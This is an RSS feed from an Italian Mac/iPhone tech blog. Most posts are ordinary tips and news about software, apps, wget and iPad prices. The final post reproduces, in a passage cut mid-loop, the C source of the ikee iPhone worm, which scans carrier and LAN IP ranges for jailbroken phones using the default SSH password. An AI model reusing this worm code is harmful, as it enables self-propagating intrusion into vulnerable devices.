<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PcExpert &#187; Mac os X</title>
	<atom:link href="http://www.pcexpert-blog.com/category/mac-os-x/feed" rel="self" type="application/rss+xml" />
	<link>http://www.pcexpert-blog.com</link>
	<description></description>
	<lastBuildDate>Sat, 05 Nov 2011 22:20:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
<image>
  <link>http://www.pcexpert-blog.com</link>
  <url>http://www.pcexpert-blog.com/wp-content/plugins/favicon-manager/favicon.ico</url>
  <title>PcExpert</title>
</image>
<cloud domain='www.pcexpert-blog.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
		<item>
		<title>Personalizzare le gestures del Magic Muose su Mac OS X Lion</title>
		<link>http://www.pcexpert-blog.com/2011/07/personalizzare-le-gestures-del-magic-muose-su-mac-os-x-lion.html</link>
		<comments>http://www.pcexpert-blog.com/2011/07/personalizzare-le-gestures-del-magic-muose-su-mac-os-x-lion.html#comments</comments>
		<pubDate>Fri, 22 Jul 2011 19:51:38 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[guida]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[Senza categoria]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1765</guid>
		<description><![CDATA[<p></p>
<p>Se avete aggiornato il vostro Mac a OS X Lion vi sarete subito accorti che navigando su internet con uno qulasiasi dei tre browser più importanti (Safari,Chrome,Firefox) la gesture</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/scrolling_in_lion500x388.jpg"><img class="aligncenter size-medium wp-image-1766" title="Magic Mouse Mac OS X Lion" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/scrolling_in_lion500x388-300x232.jpg" alt="" width="300" height="232" /></a></p>
<p>Se avete aggiornato il vostro Mac a OS X Lion vi sarete subito accorti che navigando su internet con uno qulasiasi dei tre browser più importanti (Safari,Chrome,Firefox) la gesture che ci permetteva di navigare avanti e indietro tra le pagine mediante uno swipe con due dita sul magic mouse non funziona più. Ecco come risolvere il problema</p>
<ul>
<li>Da &#8220;<strong>Preferenze di Sistema</strong>&#8221; clicchiamo sulla voce muose.</li>
<li>Clicchiamo sulla voce &#8220;<strong>Altre azioni</strong>&#8221; e impostiamo la voce &#8220;<strong>Scorri tra le pagine a destra e a sinistra con due dita</strong>&#8220;.</li>
<li>Togliamo il segno di spunta alla voce &#8220;<strong>Scorri tra le app a tutto schermo</strong>&#8220;.</li>
</ul>
<p>Così facendo non possiamo più scorrere velocemente tra le app in uso. Ma per ovviare a questo disguido possiamo scaricare un programma molto leggero e Lion compatibile chiamato <strong>MagicPrefs</strong> il quale ci permetterà di personalizzare nel modo migliore possibile le gestures sul nostro Magic Mouse.</p>
<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/magicprefs-setting-500x450.jpg"><img class="aligncenter size-medium wp-image-1767" title="MagicPrefs" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/magicprefs-setting-500x450-300x270.jpg" alt="" width="300" height="270" /></a></p>
<p>Quindi come da immagine, potremmo impostare lo switch tra le app con uno swipe con <strong>tre</strong> dita al posto di due.</p>
<h1 style="text-align: center;"><span style="color: #ff0000;"><a title="MagicPrefs" href="http://www.pcexpert-blog.com/download/downloadpage.php?id=336 " target="_blank"><span style="color: #ff0000;">Download MagicPrefs</span></a></span></h1>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/07/personalizzare-le-gestures-del-magic-muose-su-mac-os-x-lion.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finalmente disponibile per il download Mac OS X Lion</title>
		<link>http://www.pcexpert-blog.com/2011/07/finalmente-disponibile-per-il-download-mac-os-x-lion.html</link>
		<comments>http://www.pcexpert-blog.com/2011/07/finalmente-disponibile-per-il-download-mac-os-x-lion.html#comments</comments>
		<pubDate>Wed, 20 Jul 2011 12:39:49 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Sistemi Operativi]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1762</guid>
		<description><![CDATA[<p></p>
<p>Finalmente Apple ha rilasciato la nuova Major release del suo sistema operativo ovvero: Mac OS X Lion. Per eseguire il download ci basterà aprire il Mac App Store e</p>]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1763" title="Mac OS X Lion" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/Mac-OS-X-Lion-276x300.png" alt="" width="276" height="300" /></p>
<p>Finalmente Apple ha rilasciato la nuova Major release del suo sistema operativo ovvero: Mac OS X Lion. Per eseguire il download ci basterà aprire il Mac App Store e cercare &#8220;lion&#8221;. Subito dopo l&#8217;acquisto partirà il download!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/07/finalmente-disponibile-per-il-download-mac-os-x-lion.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Controlliamo lo stato di salute della batteria del nostro macbook</title>
		<link>http://www.pcexpert-blog.com/2011/07/controlliamo-lo-stato-di-salute-della-batteria-del-nostro-macbook.html</link>
		<comments>http://www.pcexpert-blog.com/2011/07/controlliamo-lo-stato-di-salute-della-batteria-del-nostro-macbook.html#comments</comments>
		<pubDate>Tue, 12 Jul 2011 15:50:00 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1743</guid>
		<description><![CDATA[<p></p>
<p>Per tutti coloro che ancora non lo conoscono, esiste un piccolo software gratuito chiamato coconutBattery in grado di fornirci utilissime informazioni sullo stato della batteria del nostro macbook. Attraverso</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/coconut-battery.png"><img class="aligncenter size-full wp-image-1744" title="coconut-battery" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/07/coconut-battery.png" alt="" width="298" height="200" /></a></p>
<p>Per tutti coloro che ancora non lo conoscono, esiste un piccolo software <strong>gratuito</strong> chiamato <strong>coconutBattery</strong> in grado di fornirci utilissime informazioni sullo stato della batteria del nostro macbook. Attraverso il software in questione è infatti possibile conoscere il numero di ricariche effettuate, la massima capacità di carica attuale rispetto allo stato originale della batteria, quando è avvenuta la prima ricarica e tante altre utili informazioni&#8230;</p>
<h2 style="text-align: center;"><strong><a title="CoconutBattery" href="http://www.pcexpert-blog.com/download/downloadpage.php?id=331 "><span style="color: #ff0000;">Download</span></a></strong></h2>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/07/controlliamo-lo-stato-di-salute-della-batteria-del-nostro-macbook.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Help Me l&#8217;applicazione per iphone che ti aiuta ad uscire il più velocemente possibile dai guai!</title>
		<link>http://www.pcexpert-blog.com/2011/05/help-me-lapplicazione-per-iphone-che-ti-aiuta-ad-uscire-il-piu-velocemente-possibile-dai-guai.html</link>
		<comments>http://www.pcexpert-blog.com/2011/05/help-me-lapplicazione-per-iphone-che-ti-aiuta-ad-uscire-il-piu-velocemente-possibile-dai-guai.html#comments</comments>
		<pubDate>Sat, 28 May 2011 12:13:04 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1732</guid>
		<description><![CDATA[<p>Help Me è una utilissima applicazione che vi aiuterà ad uscire il più velocemente possibile da guai nei momenti di bisogno.
Capita infatti che, nei momenti di panico assoluto, possiamo</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/05/Default.png"><img class="aligncenter size-medium wp-image-1733" title="Default" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/05/Default-200x300.png" alt="" width="200" height="300" /></a>Help Me è una utilissima applicazione che vi aiuterà ad uscire il più velocemente possibile da guai nei momenti di bisogno.<br />
Capita infatti che, nei momenti di panico assoluto, possiamo non avere la lucidità e/o la prontezza di comporre o cercare in rubrica il numero di una persona di cui possiamo fidarci e che potrà sicuramente tirarci fuori dai guai.<br />
Ancora più difficile in questi momenti è sicuramente <strong>indicare in modo preciso</strong> alla persona che dovrà venire in nostro soccorso <strong>la posizione in cui ci troviamo</strong>.<br />
Per esempio in caso di incidente stradale spesso non si ha la minima idea del posto in cui ci si trova al momento dell&#8217;impatto.<br />
Ecco che ci viene in aiuto <strong>HELP ME</strong>. L&#8217;applicazione necessita di <strong>poche semplici configurazioni</strong>. Una volta scaricata ci basterà infatti settare, tramite l&#8217;apposito ed <strong>intuitivo menù</strong>, un numero di telefono e un messaggio di default e, una volta configurata, l&#8217;app sarà pronta per all&#8217;uso e non sarà più necessario configurare nient&#8217;altro.<br />
D&#8217;ora in poi sarà infatti possibile effettuare una chiamata d&#8217;emergenza al numero preimpostato premendo un solo bottone e/o mandare un messaggio automatico con del testo predefinito + LA POSIZIONE ESATTA in cui ci troviamo. Grazie all&#8217;aiuto del GPS presente nel dispositivo, <strong>Help Me otterà in automatico le coordinate precise del luogo in cui ci troviamo</strong>. Se possediamo inoltre una connessione ad Internet (3G o Wifi) l&#8217;applicazione è in grado di estrapolare in automatico dalle coordinate il luogo esatto in cui ci troviamo con STATO, CITTA&#8217;, VIA E NUMERO CIVICO.<br />
Che dire veramente un app utilissima nelle emergenze!</p>
<p><!-- p.p1 {margin: 0.0px 0.0px 13.0px 0.0px; line-height: 19.0px; font: 13.0px Georgia} span.s1 {text-decoration: underline} -->L&#8217;applicazione è disponibile <span style="text-decoration: underline;"><strong><em>gratuitamente</em></strong></span> sull&#8217;Apple Store ed è localizzata sia in italiano che in Inglese.</p>
<p><span style="text-decoration: underline; color: #ff0000;"><strong>LINK APPLE STORE: </strong></span><a href="http://itunes.apple.com/it/app/help-me-now/id439511249?mt=8">http://itunes.apple.com/it/app/help-me-now/id439511249?mt=8</a></p>
<p>Buon Download <img src='http://www.pcexpert-blog.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/05/help-me-lapplicazione-per-iphone-che-ti-aiuta-ad-uscire-il-piu-velocemente-possibile-dai-guai.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Scaricare migliaia di suonerie per iPhone gratuitamente tra le più in voga del momento</title>
		<link>http://www.pcexpert-blog.com/2011/05/scaricare-migliaia-di-suonerie-per-iphone-gratuitamente-tra-le-piu-in-voga-del-momento.html</link>
		<comments>http://www.pcexpert-blog.com/2011/05/scaricare-migliaia-di-suonerie-per-iphone-gratuitamente-tra-le-piu-in-voga-del-momento.html#comments</comments>
		<pubDate>Sun, 22 May 2011 22:02:12 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[nokia]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1727</guid>
		<description><![CDATA[<p></p>
<p>Come sicuramente saprete, è possibile impostare una nuovo tono come suoneria predefinita del nostro iPhone solo se quest&#8217;ultima è stata correttamente convertita. Questa procedura può però risultare parecchio lunga</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/05/audiko1.jpg"><img class="aligncenter size-medium wp-image-1728" title="audiko" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/05/audiko1-300x188.jpg" alt="" width="300" height="188" /></a></p>
<p>Come sicuramente saprete, è possibile impostare una nuovo tono come suoneria predefinita del nostro iPhone solo se quest&#8217;ultima è stata correttamente convertita. Questa procedura può però risultare parecchio lunga e noiosa. Ecco quindi che ci viene in aiuto Audiko, un comodo sito dove è possibile trovare veramente tantissime suonerie per il nostro melafonino pronte da scaricare ed essere trasferite con un click.<br />
Il database è veramente ampio è comprende tutte le canzoni più in voga del momento ma, nel caso in cui non dovessimo trovare la suoneria che stiamo cercando non dobbiamo disperare. E&#8217; infatti possibile uplodare il brano mp3 sul sito, scegliere i 30 secondi più significativi del pezzo e, nel giro di pochi secondi, sarà possibile scaricare la suoneria convertita nel formato corretto pronta per essere trasferita sul nostro iPhone. Ovviamente gli altri utenti che cercheranno la stessa canzone potranno usufruire del nostro lavoro scaricando la suoneria che abbiamo creato. E&#8217; proprio per questo che il database di Audiko è davvero immenso e spazia in tutti i generi musicali. Che dire, veramente un ottimo servizio.</p>
<h2><strong><a href="http://www.pcexpert-blog.com/download/redirectpage.php?id=328"><span style="color: #ff0000;">Link ad AUDIKO</span></a></strong></h2>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/05/scaricare-migliaia-di-suonerie-per-iphone-gratuitamente-tra-le-piu-in-voga-del-momento.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Installare wget su Mac OS X in pochi e semplici comandi</title>
		<link>http://www.pcexpert-blog.com/2011/03/installare-wget-su-mac-os-x-in-pochi-e-semplici-comandi.html</link>
		<comments>http://www.pcexpert-blog.com/2011/03/installare-wget-su-mac-os-x-in-pochi-e-semplici-comandi.html#comments</comments>
		<pubDate>Tue, 29 Mar 2011 21:31:10 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[guida]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Sistemi Operativi]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1712</guid>
		<description><![CDATA[<p></p>
<p>Come saprete, GNU Wget è un gestore di download a riga di comando che supporta i protocolli HTTP, HTTPS e FTP.</p>
<p>Wget può seguire i collegamenti nelle pagine HTML e XHTML</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2011/03/wget.jpg"><img class="aligncenter size-medium wp-image-1713" title="wget" src="http://www.pcexpert-blog.com/wp-content/uploads/2011/03/wget-300x140.jpg" alt="" width="300" height="140" /></a></p>
<p>Come saprete, <strong>GNU Wget</strong> è un gestore di download a riga di comando che supporta i protocolli<strong> HTTP, HTTPS e FTP</strong>.</p>
<p><strong>Wget può seguire i collegamenti nelle pagine HTML e XHTML </strong>(fino ad un numero infinito di sotto-directory)<strong> e creare la versione locale di un sito remoto</strong>, ricostruendo interamente la struttura delle directory originale.  In caso d’errore nel downlaod in corso, wget è anche in grado di riprovare quest&#8217;ultimo automaticamente e, nel caso in cui il server lo supporti, ricomincerà a scaricare il file da dove si era interrotto. E&#8217; facile quindi concludere che si tratta di uno strumento molto utile anche perchè può essere integrato in molti script che ci consentiranno di risparmiare parecchio tempo prezioso.</p>
<p>Procediamo quindi all&#8217;installazione del sorgente su sistemi Mac. Se abbiamo già installato XCODE il processo di installazione è molto semplice e ci basterà scaricare <a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=326">wget dal sito</a> e lanciare da terminale i seguenti comandi:</p>
<p><code><br />
./configure<br />
make<br />
sudo make install<br />
</code></p>
<p>Ovviamente prima di lanciare i comandi dobbiamo scompattare l&#8217;archivio scaricato e spostarci nella cartella contente i sorgenti.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2011/03/installare-wget-su-mac-os-x-in-pochi-e-semplici-comandi.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPad: Apple comunica i prezzi ufficiali italiani</title>
		<link>http://www.pcexpert-blog.com/2010/05/ipad-apple-comunica-i-prezzi-ufficiali-italiani.html</link>
		<comments>http://www.pcexpert-blog.com/2010/05/ipad-apple-comunica-i-prezzi-ufficiali-italiani.html#comments</comments>
		<pubDate>Fri, 07 May 2010 14:00:25 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[ipad]]></category>
		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1657</guid>
		<description><![CDATA[<p></p>
<p>Apple ha appena comunicato i prezzi ufficiali ufficiali dell&#8217;ipad che sarà possibile acquistare a partire da venerdì 28 maggio. Sarà possibile (scelta consigliata visto il rischio concreto di esaurimento</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2010/05/ipad-uscita-italia.png"><img class="aligncenter size-medium wp-image-1658" title="ipad-uscita-italia" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/05/ipad-uscita-italia-300x225.png" alt="" width="300" height="225" /></a></p>
<p>Apple ha appena comunicato i prezzi ufficiali ufficiali dell&#8217;ipad che sarà possibile acquistare a partire da venerdì 28 maggio. Sarà possibile (scelta consigliata visto il rischio concreto di esaurimento delle scorte) il pre-ordine di qualsiasi modello dell’iPad direttamente dall’Apple Store, a partire da lunedì prossimo, 10 maggio.</p>
<p>I prezzi consigliati per l’iPad in Italia sono i seguenti:</p>
<p><strong>499</strong> euro per il modello Wi-Fi da 16 GB<br />
<strong>599</strong> euro per il modello Wi-Fi da 32 GB<br />
<strong>699</strong> euro per il modello Wi-Fi da 64GB</p>
<p><strong>599</strong> euro per il modello Wi-Fi + 3G da 16 GB<br />
<strong>699</strong> euro per il modello Wi-Fi + 3G da 32 GB<br />
<strong>799</strong> euro per il modello Wi-Fi + 3G da 64 GB</p>
<p>Apple segnala che l’applicazione iBooks per iPad, che include iBookstore, sarà disponibile come download gratuito dall’App Store sempre a partire dal 28 maggio.<br />
Negli Stati Uniti sono già stati venduti un milione di iPad. Oltre che in Italia, il 28 maggio il tablet di Apple sarà commercializzato anche in Australia, Canada, Francia, Germania, Giappone, Spagna, Svizzera e UK.</p>
<p style="text-align: right;"><a href="http://gregileoblog.blogspot.com/2010/05/lipad-in-italia-ecco-i-prezzi-ufficiali.html">Fonte</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/05/ipad-apple-comunica-i-prezzi-ufficiali-italiani.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rilasciato Microsoft Messenger 8 Beta per Mac</title>
		<link>http://www.pcexpert-blog.com/2010/03/rilasciato-microsoft-messenger-8-beta-per-mac.html</link>
		<comments>http://www.pcexpert-blog.com/2010/03/rilasciato-microsoft-messenger-8-beta-per-mac.html#comments</comments>
		<pubDate>Thu, 25 Mar 2010 13:09:04 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[msn]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[messenger 8]]></category>
		<category><![CDATA[messenger mac]]></category>
		<category><![CDATA[micosoft]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1648</guid>
		<description><![CDATA[<p>Finalmente Microsoft, dopo oltre 2 anni di sviluppo, ha rilasciato la prima beta per utenti privati (chi usufruisce gratuitamente del servizio di posta offerto da Microsoft) di Messenger 8 per</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2010/03/messenger_mac_8.jpg"><img class="aligncenter size-medium wp-image-1647" title="messenger_mac_8" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/03/messenger_mac_8-300x192.jpg" alt="" width="300" height="192" /></a>Finalmente Microsoft, dopo oltre 2 anni di sviluppo, ha rilasciato la prima beta per utenti privati (chi usufruisce gratuitamente del servizio di posta offerto da Microsoft) di Messenger 8 per Mac. Con la nuova versione sarà finalmente possibile, anche per utenti mac, effettuare chiamate e videochiamate.</p>
<p>Tuttavia, trattandosi di una Beta, molte delle funzionalità che caratterizzano il noto software di instant messenger, tra cui la possibilità di inserire <strong>immagini personali</strong>,  di caricare le immagini dei nostri contatti nella finestra di conversazione, di <strong>scambiare  file</strong> ed addirittura la possibilità di effettuare chiamate audio-video in determinate configurazioni di rete, non sono ancora state sviluppate al 100% e di conseguenza non possono essere utilizzate&#8230;</p>
<p>La si può dunque definire una versione Beta del sofware? A me sembra molto più una versione Alpha&#8230;</p>
<p style="text-align: center;"><a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=308"><span style="color: #ff0000;"><strong>Download Messenger 8 per Mac </strong></span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/03/rilasciato-microsoft-messenger-8-beta-per-mac.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Codice sorgente di ikee il primo worm per iPhone</title>
		<link>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html</link>
		<comments>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html#comments</comments>
		<pubDate>Tue, 05 Jan 2010 16:52:15 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[Sistemi Operativi]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1558</guid>
		<description><![CDATA[<p></p>
<p>Tutti ricorderanno ikee, il worm che aveva come target tutti gli iPhone sui quali era stato eseguito il jailbreak e dove non era stata cambiata la password di default</p>]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1559" title="asto" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/01/asto-262x300.jpg" alt="" width="262" height="300" /></p>
<p>Tutti ricorderanno<strong> ikee</strong>, il worm che aveva come target tutti gli iPhone sui quali era stato eseguito il jailbreak e dove non era stata cambiata la password di default (&#8220;<strong>alpine</strong>&#8220;) dopo l&#8217;installazione di <strong>SSH</strong>. Il worm aveva come unico scopo quello di modificare il wallpaper scelto dall&#8217;utente con una immagine che ritraeva <a href="http://it.wikipedia.org/wiki/Rick_Astley">Rick Astley</a> e di cercare altri dispositivi iPhone vulnerabili da infettare. Ecco di seguito il codice sorgente:</p>
<pre class="brush: cpp; title: ; notranslate">
//
// iPhone default pass worm  by ikex
//
// This code is CLOSED source.
// And very hacky, i just needed it to work.
//
// Thanks to alan3423432432 haha for helping me work out my flaws in C
//

#include &quot;main.h&quot;

int fdlock;

// randHost():  Returns a random IP Address XXX.XXX.XXX.XXX
char *randHost(void)
{
    int x,y,z;
    char *retme;
    srand (time (0));
    x=random() % 255;
    y=random() % 255;
    z=random() % 255;
    asprintf(&amp;retme, &quot;%i.%i.%i.&quot;, x,y,z);
    return retme;
}

// get_lock():  Sets/Gets the status of the file lock
//              located in /var/lock/bbot.lock
int get_lock(void)
{
    struct flock fl;
    fl.l_type = F_WRLCK;
    fl.l_whence = SEEK_SET;
    fl.l_start = 0;
    fl.l_len = 1;
    if((fdlock = open(&quot;/var/lock/bbot.lock&quot;, O_WRONLY|O_CREAT, 0666)) == -1)
      return 0;
    if(fcntl(fdlock, F_SETLK, &amp;fl) == -1)
      return 0;
    return 1;
}

// getAddrRange():  Gets the phones 3G range + 2
//                  eg, 100.100.100.0-100.100.102.255
char *getAddrRange()
{
   struct ifaddrs *ifaddr, *ifa;
   int family, s;
   char host[NI_MAXHOST];
   if (getifaddrs(&amp;ifaddr) == -1) {
       perror(&quot;getifaddrs&quot;);
       exit(EXIT_FAILURE);
   }
   for (ifa = ifaddr; ifa != NULL; ifa = ifa-&gt;ifa_next) {
       family = ifa-&gt;ifa_addr-&gt;sa_family;
        if (family == AF_INET)
        {
           if (family == AF_INET || family == AF_INET6) {
               s = getnameinfo(ifa-&gt;ifa_addr,
                       (family == AF_INET) ? sizeof(struct sockaddr_in) :
                                             sizeof(struct sockaddr_in6),
                       host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
               if (s != 0) {
                   printf(&quot;getnameinfo() failed: %s\n&quot;, gai_strerror(s));
                   return &quot;0.0.0.0-0.0.0.0&quot;;
               }

               if (strcmp(ifa-&gt;ifa_name, &quot;pdp_ip0&quot;) == 0)
               {
                   syslog(LOG_DEBUG, ifa-&gt;ifa_name);
                   syslog(LOG_DEBUG, host);
                   char *wee[20];
                   tokenise(host, wee, &quot;.&quot;);
                   char *range;
                   int octc = atoi(wee[2]);
                   asprintf(&amp;range, &quot;%s.%s.%i.0-%s.%s.%i.255&quot;, wee[0], wee[1], octc, wee[0], wee[1], octc+2);
                   return range;
                }
           }
        }
   }
   freeifaddrs(ifaddr);
   return &quot;0.0.0.0-0.0.0.0&quot;;
}
// From alan2349024  Sorry i suck at remembering numbers
// Thanks dude!
int tokenise (char input[], char *token[], char* spl) // Added sep param
{
    char *tokens;
    int count = 0;

    tokens = strtok(input, spl);//Change TOKEN_SEPERATORS To What You Want To Seperate Off

    if(tokens[strlen(tokens) - 1] == '\n')
        tokens[strlen(tokens) - 1] = '&#92;&#48;';

    token[count] = tokens;

    while(tokens != NULL)
    {
        count++;
        if( count &gt; MAX_NUM )//change MAX_NUM_TOKENS To A Number
            return (-1);

        tokens = strtok(NULL, spl);

        if(tokens != NULL)
        {
            if(tokens[strlen(tokens) - 1] == '\n')
                tokens[strlen(tokens) - 1] = '&#92;&#48;';
        }
        token[count] = tokens;
    }
    return count;
}

// Entry point.
int main(int argc, char *argv[])
{

    //pid_t   pid, sid;
    //char *subnet = randHost();

    // syslog(LOG_DEBUG, &quot;I should go, i feel like im interupting something ;]&quot;);
    /* // FORK CODE REMOVED IT FUCKS WITH LaunchDaemon.
    pid = fork();
    if (pid &lt; 0)
            exit(EXIT_FAILURE);
      else if (pid &gt; 0)
            exit(EXIT_SUCCESS);

    umask(0);

    sid = setsid();
    */
    if(get_lock() == 0) {
        syslog(LOG_DEBUG, &quot;I know when im not wanted *sniff*&quot;);
        return 1; } // Already running.
    sleep(60); // Lets wait for the network to come up 2 MINS
    syslog(LOG_DEBUG, &quot;IIIIIII Just want to tell you how im feeling&quot;);
    //char ipRange[256] = &quot;120.16.0.0-120.23.255.255&quot;;
    char *locRanges = getAddrRange();
    char *lanRanges = &quot;192.168.0.0-192.168.255.255&quot;; // #172.16.0.0-172.31.255.255 Ehh who uses it
    char *vodRanges1 = &quot;202.81.64.0-202.81.79.255&quot;;
    char *vodRanges2 = &quot;23.98.128.0-123.98.143.255&quot;;
    char *vodRanges3 = &quot;120.16.0.0-120.23.255.255&quot;;
    char *optRanges1 = &quot;114.72.0.0-114.75.255.255&quot;;
    char *optRanges2 = &quot;203.2.75.0-203.2.75.255&quot;;
    char *optRanges3 = &quot;210.49.0.0-210.49.255.255&quot;;
    char *optRanges4 = &quot;203.17.140.0-203.17.140.255&quot;;
    char *optRanges5 = &quot;203.17.138.0-203.17.138.255&quot;;
    char *optRanges6 = &quot;211.28.0.0-211.31.255.255&quot;;
    char *telRanges = &quot;58.160.0.0-58.175.255.25&quot;;
    //char *attRanges = &quot;32.0.0.0-32.255.255.255&quot;; // TOO BIG

    syslog(LOG_DEBUG, &quot;awoadqdoqjdqjwiodjqoi aaah!&quot;);
    ChangeOnBoot();
    KillSSHD();
    // Local first
    while (1)
    {
        syslog(LOG_DEBUG, &quot;Checking out the local scene yo&quot;);
        scanner(locRanges);
        syslog(LOG_DEBUG, &quot;Random baby&quot;);
        int i;
        for (i=0; i &lt;= 2; i++)
        {
            char *ipaddr = randHost();
            char *rrange;
            asprintf(&amp;rrange, &quot;%s.0-%s.255&quot;, ipaddr, ipaddr);
            scanner(rrange);
        }
        // Lan
